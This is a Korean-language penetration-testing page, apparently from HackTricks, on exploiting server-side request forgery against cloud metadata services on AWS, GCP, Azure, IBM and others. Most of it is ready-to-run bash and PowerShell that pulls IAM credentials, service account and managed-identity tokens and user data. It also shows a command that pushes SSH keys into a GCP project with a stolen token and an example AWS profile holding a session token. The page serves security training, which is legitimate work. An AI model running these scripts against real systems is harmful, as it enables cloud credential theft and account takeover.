# Cloud SSRF {{#include ../../banners/hacktricks-training.md}} ## AWS ### AWS EC2 환경에서 SSRF 악용하기 **메타데이터** 엔드포인트는 모든 EC2 머신 내부에서 접근할 수 있으며, 흥미로운 정보를 제공합니다. URL에서 접근할 수 있습니다: `http://169.254.169.254` ([메타데이터에 대한 정보는 여기](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). 메타데이터 엔드포인트에는 **2가지 버전**이 있습니다. **첫 번째** 버전은 **GET** 요청을 통해 엔드포인트에 **접근**할 수 있게 해줍니다 (따라서 어떤 **SSRF도 이를 악용할 수 있습니다**). **버전 2**인 [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)에서는 **토큰**을 요청하기 위해 **PUT** 요청을 보내고 **HTTP 헤더**를 사용해야 하며, 그 후에 또 다른 HTTP 헤더를 사용하여 메타데이터에 접근해야 합니다 (따라서 **SSRF로 악용하기 더 복잡합니다**). > [!CAUTION] > EC2 인스턴스가 IMDSv2를 강제하는 경우, [**문서에 따르면**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **PUT 요청의 응답**은 **hop limit이 1**이 되어 EC2 인스턴스 내부의 컨테이너에서 EC2 메타데이터에 접근할 수 없게 됩니다. > > 또한, **IMDSv2**는 **`X-Forwarded-For` 헤더를 포함한 토큰 요청을 차단합니다**. 이는 잘못 구성된 리버스 프록시가 이를 접근하지 못하도록 방지하기 위함입니다. [메타데이터 엔드포인트에 대한 정보는 문서에서 확인할 수 있습니다](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). 다음 스크립트에서는 이로부터 흥미로운 정보를 얻습니다: ```bash EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" URL="http://169.254.169.254/latest/meta-data" aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f -H '$HEADER'" elif [ "$(command -v wget)" ]; then aws_req="wget -q -O - -H '$HEADER'" else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" echo "" echo "Account Info" eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" echo "" echo "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do echo "Mac: $mac" printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done echo "" echo "IAM Role" eval $aws_req "$URL/iam/info" for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do echo "Role: $role" eval $aws_req "$URL/iam/security-credentials/$role"; echo "" echo "" done echo "" echo "User Data" # Search hardcoded credentials eval $aws_req "http://169.254.169.254/latest/user-data" echo "" echo "EC2 Security Credentials" eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" ``` 공개적으로 사용 가능한 **IAM 자격 증명** 노출 예시로 다음을 방문할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) 또한 공개 **EC2 보안 자격 증명**을 확인할 수 있습니다: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) 그런 다음 **이 자격 증명을 AWS CLI와 함께 사용할 수 있습니다**. 이렇게 하면 **해당 역할이 허용된 모든 작업을 수행할 수 있습니다**. 새로운 자격 증명을 활용하려면 다음과 같이 새로운 AWS 프로필을 생성해야 합니다: ``` [profilename] aws_access_key_id = ASIA6GG71[...] aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= ``` **aws_session_token**에 주목하세요. 이는 프로필이 작동하는 데 필수적입니다. [**PACU**](https://github.com/RhinoSecurityLabs/pacu)는 발견된 자격 증명으로 권한을 확인하고 권한 상승을 시도하는 데 사용할 수 있습니다. ### AWS ECS (컨테이너 서비스) 자격 증명에서의 SSRF **ECS**는 애플리케이션을 실행할 수 있는 EC2 인스턴스의 논리적 그룹으로, ECS가 클러스터 관리 인프라를 대신 관리하기 때문에 자체 클러스터 관리 인프라를 확장할 필요가 없습니다. **ECS**에서 실행 중인 서비스를 손상시키면 **메타데이터 엔드포인트가 변경**됩니다. _**http://169.254.170.2/v2/credentials/\**_에 접근하면 ECS 머신의 자격 증명을 찾을 수 있습니다. 그러나 먼저 **\**를 찾아야 합니다. \를 찾으려면 머신 내의 **environ** 변수 **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI**를 읽어야 합니다.\ **Path Traversal**을 이용해 `file:///proc/self/environ`을 읽을 수 있습니다.\ 언급된 http 주소는 **AccessKey, SecretKey 및 token**을 제공해야 합니다. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` > [!NOTE] > **일부 경우**에는 컨테이너에서 **EC2 메타데이터 인스턴스**에 접근할 수 있습니다(앞서 언급한 IMDSv2 TTL 제한 사항을 확인하세요). 이러한 시나리오에서는 컨테이너에서 컨테이너 IAM 역할과 EC2 IAM 역할 모두에 접근할 수 있습니다. ### AWS Lambda에 대한 SSRF 이 경우 **자격 증명은 환경 변수에 저장됩니다**. 따라서 이를 접근하려면 **`file:///proc/self/environ`**과 같은 것을 접근해야 합니다. **흥미로운 환경 변수의 이름**은 다음과 같습니다: - `AWS_SESSION_TOKEN` - `AWS_SECRET_ACCESS_KEY` - `AWS_ACCES_KEY_ID` 게다가 IAM 자격 증명 외에도 Lambda 함수는 **함수가 시작될 때 함수에 전달되는 이벤트 데이터**를 가지고 있습니다. 이 데이터는 [런타임 인터페이스](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)를 통해 함수에 제공되며 **민감한** **정보**(예: **stageVariables** 내부)를 포함할 수 있습니다. IAM 자격 증명과 달리 이 데이터는 표준 SSRF를 통해 **`http://localhost:9001/2018-06-01/runtime/invocation/next`**에서 접근할 수 있습니다. > [!WARNING] > **람다 자격 증명**이 **환경 변수** 안에 있다는 점에 유의하세요. 따라서 람다 코드의 **스택 추적**이 환경 변수를 출력하면, 앱에서 **오류를 유발하여 이를 유출할 수** 있습니다. ### AWS Elastic Beanstalk에 대한 SSRF URL API에서 `accountId`와 `region`을 가져옵니다. ``` http://169.254.169.254/latest/dynamic/instance-identity/document http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` 그런 다음 API에서 `AccessKeyId`, `SecretAccessKey` 및 `Token`을 가져옵니다. ``` http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role ``` ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL) 그런 다음 `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/` 명령어로 자격 증명을 사용합니다. ## GCP [**메타데이터 엔드포인트에 대한 문서를 여기에서 찾을 수 있습니다**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). ### Google Cloud의 SSRF URL HTTP 헤더 **`Metadata-Flavor: Google`**가 필요하며, 다음 URL을 통해 메타데이터 엔드포인트에 접근할 수 있습니다: - http://169.254.169.254 - http://metadata.google.internal - http://metadata 정보를 추출하기 위한 흥미로운 엔드포인트: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # Project attributes curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true # /oslogin # users curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users # groups curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups # security-keys curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys # authorize curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize # /instance # Description curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description # Hostname curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Image curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image # Machine Type curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type # Name curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name # Tags curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # User data curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" # Network Interfaces for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") echo " ============== " done # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done # K8s Attributtes ## Cluster location curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location ## Cluster name curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name ## Os-login enabled curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin ## Kube-env curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env ## Kube-labels curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels ## Kubeconfig curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig # All custom project attributes curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" # All custom project attributes instance attributes curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` Beta는 현재 헤더를 요구하지 않습니다 (Mathias Karlsson @avlidienbrunn에게 감사드립니다) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true ``` > [!CAUTION] > **유출된 서비스 계정 토큰을 사용하기 위해** 다음과 같이 할 수 있습니다: > > ```bash > # 환경 변수를 통해 > export CLOUDSDK_AUTH_ACCESS_TOKEN= > gcloud projects list > > # 설정을 통해 > echo "" > /some/path/to/token > gcloud config set auth/access_token_file /some/path/to/token > gcloud projects list > gcloud config unset auth/access_token_file > ``` ### SSH 키 추가 토큰 추출 ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` 토큰의 범위를 확인하세요 (이전 출력 또는 다음을 실행하여). ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", "audience": "10130207XXXXX", "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", "expires_in": 2443, "access_type": "offline" } ``` 이제 SSH 키를 푸시하세요. ```bash curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" -H "Content-Type: application/json" --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' ``` ### Cloud Functions 메타데이터 엔드포인트는 VM과 동일하게 작동하지만 일부 엔드포인트가 없습니다: ```bash # /project # Project name and number curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id # /instance # ID curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id # Zone curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone # Auto MTLS config curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration # Service Accounts for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do echo " Name: $sa" echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") echo " ============== " done ``` ## Digital Ocean > [!WARNING] > AWS 역할이나 GCP 서비스 계정과 같은 것이 없으므로 메타데이터 봇 자격 증명을 찾을 수 있을 것이라고 기대하지 마십시오. Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) ``` curl http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1.json http://169.254.169.254/metadata/v1/ http://169.254.169.254/metadata/v1/id http://169.254.169.254/metadata/v1/user-data http://169.254.169.254/metadata/v1/hostname http://169.254.169.254/metadata/v1/region http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: curl http://169.254.169.254/metadata/v1.json | jq ``` ## Azure ### Azure VM [**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). - **반드시** `Metadata: true` 헤더를 포함해야 합니다. - `X-Forwarded-For` 헤더를 **포함하지 않아야** 합니다. > [!TIP] > Azure VM은 1개의 시스템 관리 ID와 여러 개의 사용자 관리 ID를 가질 수 있습니다. 이는 기본적으로 **VM에 연결된 모든 관리 ID를 가장할 수 있다는 의미입니다**. > > **기본적으로**, 메타데이터 엔드포인트는 **시스템 할당 MI(있는 경우)**를 사용합니다. > > 불행히도 VM에 연결된 모든 MI를 나타내는 메타데이터 엔드포인트를 찾을 수 없었습니다. > > 따라서 연결된 모든 MI를 찾으려면 다음을 수행할 수 있습니다: > > - **az cli로 연결된 ID 가져오기** (이미 Azure 테넌트에서 주체를 손상시킨 경우) > > ```bash > az vm identity show \ > --resource-group \ > --name > ``` > > - 메타데이터의 기본 연결 MI를 사용하여 **연결된 ID 가져오기**: > > ```bash > export API_VERSION="2021-12-13" > > # 기본 MI에서 토큰 가져오기 > export TOKEN=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ > | jq -r '.access_token') > > # 필요한 세부정보 가져오기 > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') > export VM_NAME=$(curl -s -H "Metadata:true" \ > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') > > # 연결된 MI 가져오기 시도 > curl -s -H "Authorization: Bearer $TOKEN" \ > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq > ``` > > - 테넌트에 정의된 모든 관리 ID를 **가져오고** VM에 연결된 ID가 있는지 **무차별 대입**: > > ```bash > az identity list > ``` > [!CAUTION] > 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 중 하나의 매개변수를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 지정하지 않으면 **기본 MI가 사용됩니다**. {{#tabs}} {{#tab name="Bash"}} ```bash HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions echo "Instance details" curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" echo "Load Balancer details" curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" echo "Management Token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" echo "Graph token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" echo "Vault token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" echo "Storage token" curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" ``` {{#endtab}} {{#tab name="PS"}} ```bash # Powershell Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 ## User data $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) # Paths /metadata/instance?api-version=2017-04-02 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text /metadata/instance/compute/userData?api-version=2021-01-01&format=text ``` {{#endtab}} {{#endtabs}} ### Azure App & Functions Services **env**에서 **`IDENTITY_HEADER`** 및 **`IDENTITY_ENDPOINT`**의 값을 가져올 수 있습니다. 이를 사용하여 메타데이터 서버와 통신할 토큰을 수집할 수 있습니다. 대부분의 경우, 다음 리소스 중 하나에 대한 토큰이 필요합니다: - [https://storage.azure.com](https://storage.azure.com/) - [https://vault.azure.net](https://vault.azure.net/) - [https://graph.microsoft.com](https://graph.microsoft.com/) - [https://management.azure.com](https://management.azure.com/) > [!CAUTION] > 토큰 요청 시 `object_id`, `client_id` 또는 `msi_res_id` 매개변수 중 하나를 사용하여 사용하려는 관리 ID를 지정하십시오 ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 지정하지 않으면 **기본 MI가 사용됩니다**. {{#tabs}} {{#tab name="Bash"}} ```bash # Check for those env vars to know if you are in an Azure app echo $IDENTITY_HEADER echo $IDENTITY_ENDPOINT # (Fingerprint) You should also be able to find the folder: ls /opt/microsoft # Get management token curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get graph token curl "$IDENTITY_ENDPOINT?resource=https://graph.microsoft.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get vault token curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" # Get storage token curl "$IDENTITY_ENDPOINT?resource=https://storage.azure.com/&api-version=2019-08-01" -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" ``` {{#endtab}} {{#tab name="PS"}} ```powershell # Define the API version $API_VERSION = "2019-08-01" # Function to get a token for a specified resource function Get-Token { param ( [string]$Resource ) $url = "$IDENTITY_ENDPOINT?resource=$Resource&api-version=$API_VERSION" $headers = @{ "X-IDENTITY-HEADER" = $IDENTITY_HEADER } try { $response = Invoke-RestMethod -Uri $url -Headers $headers -Method Get $response.access_token } catch { Write-Error "Error obtaining token for $Resource: $_" } } # Get Management Token $managementToken = Get-Token -Resource "https://management.azure.com/" Write-Host "Management Token: $managementToken" # Get Graph Token $graphToken = Get-Token -Resource "https://graph.microsoft.com/" Write-Host "Graph Token: $graphToken" # Get Vault Token $vaultToken = Get-Token -Resource "https://vault.azure.net/" Write-Host "Vault Token: $vaultToken" # Get Storage Token $storageToken = Get-Token -Resource "https://storage.azure.com/" Write-Host "Storage Token: $storageToken" # API request in powershell to management endpoint $Token = 'eyJ0eX..' $URI='https://management.azure.com/subscriptions?api-version=2020-01-01' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # API request to graph endpoint (get enterprise applications) $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # Using AzureAD Powershell module witho both management and graph tokens $token = 'eyJ0e..' $graphaccesstoken = 'eyJ0eX..' Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc # Try to get current perms over resources Get-AzResource ## The following error means that the user doesn't have permissions over any resource Get-AzResource : 'this.Client.SubscriptionId' cannot be null. At line:1 char:1 + Get-AzResource + ~~~~~~~~~~~~~~ + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException + FullyQualifiedErrorId : Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet ``` {{#endtab}} {{#endtabs}} ## IBM Cloud > [!WARNING] > IBM에서는 기본적으로 메타데이터가 활성화되어 있지 않으므로, IBM 클라우드 VM 내부에 있더라도 접근할 수 없을 수 있습니다. ```bash export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\ -H "Metadata-Flavor: ibm"\ -H "Accept: application/json"\ -d '{ "expires_in": 3600 }' | jq -r '(.access_token)'` # Get instance details curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq # Get SSH keys info curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq # Get SSH keys fingerprints & user data curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq # Get placement groups curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq # Get IAM credentials curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq ``` 다양한 플랫폼의 메타데이터 서비스에 대한 문서가 아래에 설명되어 있으며, 인스턴스의 구성 및 런타임 정보를 접근할 수 있는 방법을 강조합니다. 각 플랫폼은 고유한 엔드포인트를 제공하여 메타데이터 서비스에 접근할 수 있습니다. ## Packetcloud Packetcloud의 메타데이터에 접근하기 위한 문서는 다음에서 찾을 수 있습니다: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata) ## OpenStack/RackSpace 헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음을 통해 접근할 수 있습니다: - `http://169.254.169.254/openstack` ## HP Helion 여기에서도 헤더의 필요성은 언급되지 않았습니다. 메타데이터는 다음에서 접근할 수 있습니다: - `http://169.254.169.254/2009-04-04/meta-data/` ## Oracle Cloud Oracle Cloud는 다양한 메타데이터 측면에 접근하기 위한 일련의 엔드포인트를 제공합니다: - `http://192.0.0.192/latest/` - `http://192.0.0.192/latest/user-data/` - `http://192.0.0.192/latest/meta-data/` - `http://192.0.0.192/latest/attributes/` ## Alibaba Alibaba는 인스턴스 및 이미지 ID를 포함한 메타데이터에 접근하기 위한 엔드포인트를 제공합니다: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` - `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD는 API 키, 내부 IP 주소 및 포트를 보유할 수 있습니다. 접근은 다음을 통해 보여집니다: - `curl -L http://127.0.0.1:2379/version` - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Docker 메타데이터는 로컬에서 접근할 수 있으며, 컨테이너 및 이미지 정보 검색을 위한 예제가 제공됩니다: - 